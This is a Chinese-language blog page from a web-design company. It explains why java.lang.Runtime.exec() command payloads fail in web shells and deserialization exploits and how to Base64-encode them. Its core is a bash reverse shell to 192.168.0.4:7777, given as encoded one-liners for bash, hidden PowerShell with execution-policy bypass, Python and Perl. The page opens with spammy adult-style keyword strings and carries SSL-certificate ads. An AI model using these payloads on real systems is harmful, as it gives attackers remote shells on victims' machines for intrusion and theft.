真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

java.lang.Runtime.exec()Payload知識點(diǎn)的示例分析

小編給大家分享一下java.lang.Runtime.exec() Payload知識點(diǎn)的示例分析,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!

無錫ssl適用于網(wǎng)站、小程序/APP、API接口等需要進(jìn)行數(shù)據(jù)傳輸應(yīng)用場景,ssl證書未來市場廣闊!成為成都創(chuàng)新互聯(lián)的ssl證書銷售渠道,可以享受市場價(jià)格4-6折優(yōu)惠!如果有意向歡迎電話聯(lián)系或者加微信:13518219792(備注:SSL證書合作)期待與您的合作!

有時(shí),通過Runtime.getRuntime().exec()執(zhí)行命令的有效負(fù)載有時(shí)會失敗。使用Web Shell,反序列化利用或通過其他媒介時(shí),可能會發(fā)生這種情況。

有時(shí)這是因?yàn)橹囟ㄏ蚝凸艿雷址氖褂迷趩舆^程的上下文中沒有意義。例如,在shell中執(zhí)行l(wèi)s> dir_listing會將當(dāng)前目錄的列表輸出到名為dir_listing的文件中。但是在exec()函數(shù)的上下文中,該命令將被解釋為獲取>和dir_listing目錄的列表。

有時(shí),StringTokenizer類會破壞其中包含空格的參數(shù),該類將命令字符串按空格分隔。像ls“我的目錄”之類的東西將被解釋為ls“我的目錄”。

借助Base64編碼,下面的轉(zhuǎn)換器可以幫助減少這些問題。它可以通過調(diào)用Bash或PowerShell來制作管道并重新定向,還可以確保參數(shù)內(nèi)沒有空格。

樣例:

bash -i >& /dev/tcp/192.168.0.4/7777 0>&1

編碼后:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
#bash

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YgBhAHMAaAAgAC0AaQAgAD4AJgAgAC8AZABlAHYALwB0AGMAcAAvADEAOQAyAC4AMQA2ADgALgAwAC4ANAAvADcANwA3ADcAIAAwAD4AJgAxAA==
#powershell

python -c exec('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE='.decode('base64'))
#python

perl -MMIME::Base64 -e eval(decode_base64('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE='))
#perl

中間的字符均為“base64”編碼。

知識點(diǎn)擴(kuò)展:

java.lang.Runtime.getRuntime().exec(cmd)命令中參數(shù)不能用空格怎么辦?

項(xiàng)目中無法執(zhí)行c程序,猜測是exec()函數(shù)的問題

String cmd= exe_path + " " +video + " " +host + ":" + port;
Process process = runtime.exec(cmd);

看完了這篇文章,相信你對“java.lang.Runtime.exec() Payload知識點(diǎn)的示例分析”有了一定的了解,如果想了解更多相關(guān)知識,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!


分享標(biāo)題:java.lang.Runtime.exec()Payload知識點(diǎn)的示例分析
瀏覽路徑:http://weahome.cn/article/gdoigp.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部